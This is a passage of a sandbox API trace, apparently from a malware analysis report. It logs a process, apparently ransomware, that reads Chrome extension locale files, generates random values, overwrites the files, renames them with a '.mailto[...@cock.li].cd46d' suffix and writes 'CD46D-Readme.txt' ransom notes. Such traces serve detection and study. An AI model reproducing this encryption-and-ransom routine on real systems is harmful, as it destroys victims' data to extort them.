Seed=0x3cdf79c) returned 0x79274851 [0193.159] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x67dd8815 [0193.159] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x4ef3ceb8 [0193.159] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x30445837 [0193.159] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x2d12c364 [0193.159] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x7b3cea00 [0193.159] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x6119b4e6 [0193.159] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x6da9b740 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x672604bb [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0xe2093bf [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x46d54e13 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x20e4a9e0 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x49381c31 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x1ded71f [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x326c6e3b [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x487de347 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x5b29f4b1 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x18e197c1 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x7cbc1979 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x49cbb07d [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x8ec59ca [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x7e9a431d [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x584609e8 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x170ccb45 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x3d59f05e [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x20330d80 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x3f864e82 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x31293dbf [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x2c31478a [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x4f571225 [0193.160] RtlRandomEx (in: Seed=0x3cdf79c | out: Seed=0x3cdf79c) returned 0x4a8c5dba [0193.173] ReadFile (hFile=0xe20, lpBuffer=0x12e43018, nNumberOfBytesToRead=0xec, lpNumberOfBytesRead=0x3cdf78c, lpOverlapped=0x0) [0193.174] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.174] WriteFile (in: hFile=0xe20, lpBuffer=0x13587008*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3cdf788, lpOverlapped=0x0 | out: lpBuffer=0x13587008*, lpNumberOfBytesWritten=0x3cdf788*=0xec, lpOverlapped=0x0) returned 1 [0194.445] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945c08 [0194.445] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9458e8 [0194.445] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458e8) returned 1 [0194.445] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13587008) returned 1 [0194.445] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e43018) returned 1 [0194.445] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9070) returned 1 [0194.445] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9528) returned 1 [0194.445] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8f68a0 [0194.445] SetFilePointerEx (in: hFile=0xe20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.446] WriteFile (in: hFile=0xe20, lpBuffer=0x12cf60f8*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x3cdf7f0, lpOverlapped=0x0 | out: lpBuffer=0x12cf60f8*, lpNumberOfBytesWritten=0x3cdf7f0*=0x10b, lpOverlapped=0x0) returned 1 [0195.873] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf60f8) returned 1 [0195.873] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f68d0) returned 1 [0195.873] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9458e8) returned 1 [0195.873] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f68a0) returned 1 [0195.873] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c08) returned 1 [0195.873] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af208) returned 1 [0195.873] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af258) returned 1 [0195.873] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefd8) returned 1 [0195.873] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf7ec8 [0195.873] wcscpy (in: _Dest=0x12cf7ec8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json" [0195.873] wcscat (in: _Dest=0x12cf7ec8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.873] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3cdf7a8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.873] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8ed8 [0196.013] FlushFileBuffers (hFile=0xe20) returned 1 [0196.019] CloseHandle (hObject=0xe20) returned 1 [0196.086] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b7140 [0196.086] wcscpy (in: _Dest=0x9b7140, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\" [0196.086] wcscat (in: _Dest=0x9b7140, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\CD46D-Readme.txt" [0196.086] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\cd46d-readme.txt")) returned 0xffffffff [0196.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\da\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13e0 [0196.200] WriteFile (in: hFile=0x13e0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x3cdf7b0, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x3cdf7b0*=0x6fd, lpOverlapped=0x0) returned 1 [0196.201] CloseHandle (hObject=0x13e0) returned 1 [0196.201] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b7140) returned 1 [0196.201] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d47e28) returned 1 Thread: id = 8047 os_tid = 0x1694 [0188.483] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json")) returned 0x2020 [0189.202] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json", dwFileAttributes=0x20) returned 1 [0193.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x100c [0193.176] GetFileSizeEx (in: hFile=0x100c, lpFileSize=0x2c5fb64 | out: lpFileSize=0x2c5fb64*=239) returned 1 [0193.176] SetFilePointerEx (in: hFile=0x100c, liDistanceToMove=0xeb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.176] ReadFile (in: hFile=0x100c, lpBuffer=0x2c5fae8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fae4, lpOverlapped=0x0 | out: lpBuffer=0x2c5fae8*, lpNumberOfBytesRead=0x2c5fae4*=0x4, lpOverlapped=0x0) returned 1 [0193.177] SetFilePointerEx (in: hFile=0x100c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.177] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.177] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af2a8 [0193.177] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed58 [0193.177] NtQuerySystemTime (in: CurrentTime=0x2c5fac4 | out: CurrentTime=0x2c5fac4*=132174899677762000) returned 0x0 [0193.177] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x74f42650 [0193.177] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x2dad92a0 [0193.177] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x4d5496e1 [0193.177] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x784e029b [0193.177] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x33be677f [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x100d63e7 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x5f669437 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x3dbcf22 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x13c029dc [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x70b4114a [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x7cd064dd [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0xac6ea31 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x57b30b41 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x5e60cc1f [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x4f8a5891 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x432691ae [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x51687497 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x26be5beb [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x18b6bf01 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x317650db [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x23b4af17 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x42794d76 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x72db76c8 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x68867168 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x4fad96ef [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0xc654108 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x37a234a5 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x44ac470c [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x5dc25a3e [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x566d6080 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x35cadf92 [0193.178] RtlRandomEx (in: Seed=0x2c5fad0 | out: Seed=0x2c5fad0) returned 0x79bd6ebb [0193.191] ReadFile (hFile=0x100c, lpBuffer=0x13593810, nNumberOfBytesToRead=0xef, lpNumberOfBytesRead=0x2c5fac0, lpOverlapped=0x0) [0193.191] SetFilePointerEx (in: hFile=0x100c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.191] WriteFile (in: hFile=0x100c, lpBuffer=0x135a0018*, nNumberOfBytesToWrite=0xef, lpNumberOfBytesWritten=0x2c5fabc, lpOverlapped=0x0 | out: lpBuffer=0x135a0018*, lpNumberOfBytesWritten=0x2c5fabc*=0xef, lpOverlapped=0x0) returned 1 [0195.410] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5cd8 [0195.410] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0xd4c5fa8 [0195.410] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5fa8) returned 1 [0195.410] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x135a0018) returned 1 [0195.410] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13593810) returned 1 [0195.418] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8ad0) returned 1 [0195.418] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f9768) returned 1 [0195.418] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x928978 [0195.418] SetFilePointerEx (in: hFile=0x100c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.418] WriteFile (in: hFile=0x100c, lpBuffer=0x12cf6788*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x2c5fb24, lpOverlapped=0x0 | out: lpBuffer=0x12cf6788*, lpNumberOfBytesWritten=0x2c5fb24*=0x10b, lpOverlapped=0x0) returned 1 [0195.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf6788) returned 1 [0195.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9289a8) returned 1 [0195.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5fa8) returned 1 [0195.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x928978) returned 1 [0195.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c5cd8) returned 1 [0195.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2a8) returned 1 [0195.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af2d0) returned 1 [0195.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aefb0) returned 1 [0195.923] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x178) returned 0x12cf7bb8 [0195.923] wcscpy (in: _Dest=0x12cf7bb8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json" [0195.923] wcscat (in: _Dest=0x12cf7bb8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0195.923] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2c5fadc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0195.923] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18e) returned 0xd4c8ba8 [0196.041] FlushFileBuffers (hFile=0x100c) returned 1 [0196.048] CloseHandle (hObject=0x100c) returned 1 [0196.116] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x138) returned 0x9b6098 [0196.116] wcscpy (in: _Dest=0x9b6098, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\" [0196.116] wcscat (in: _Dest=0x9b6098, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\CD46D-Readme.txt" [0196.116] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\cd46d-readme.txt")) returned 0xffffffff [0196.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\de\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13e0 [0196.212] WriteFile (in: hFile=0x13e0, lpBuffer=0x8e9fe8*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x2c5fae4, lpOverlapped=0x0 | out: lpBuffer=0x8e9fe8*, lpNumberOfBytesWritten=0x2c5fae4*=0x6fd, lpOverlapped=0x0) returned 1 [0196.213] CloseHandle (hObject=0x13e0) returned 1 [0196.213] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b6098) returned 1 [0196.213] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d47f60) returned 1 Thread: id = 8048 os_tid = 0x16f4 [0188.483] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json")) returned 0x2020 [0189.202] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json", dwFileAttributes=0x20) returned 1 [0193.192] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xad0 [0193.192] GetFileSizeEx (in: hFile=0xad0, lpFileSize=0x6b4f854 | out: lpFileSize=0x6b4f854*=332) returned 1 [0193.192] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.192] ReadFile (in: hFile=0xad0, lpBuffer=0x6b4f7d8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6b4f7d4, lpOverlapped=0x0 | out: lpBuffer=0x6b4f7d8*, lpNumberOfBytesRead=0x6b4f7d4*=0x4, lpOverlapped=0x0) returned 1 [0193.193] SetFilePointerEx (in: hFile=0xad0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.193] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af4b0 [0193.193] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed58 [0193.193] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9af370 [0193.193] NtQuerySystemTime (in: CurrentTime=0x6b4f7b4 | out: CurrentTime=0x6b4f7b4*=132174899677918000) returned 0x0 [0193.194] RtlRandomEx (in: Seed=0x6b4f7c0 | out: Seed=0x6b4f7c0) returned 0x19622201 [0193.194] RtlRandomEx (in: 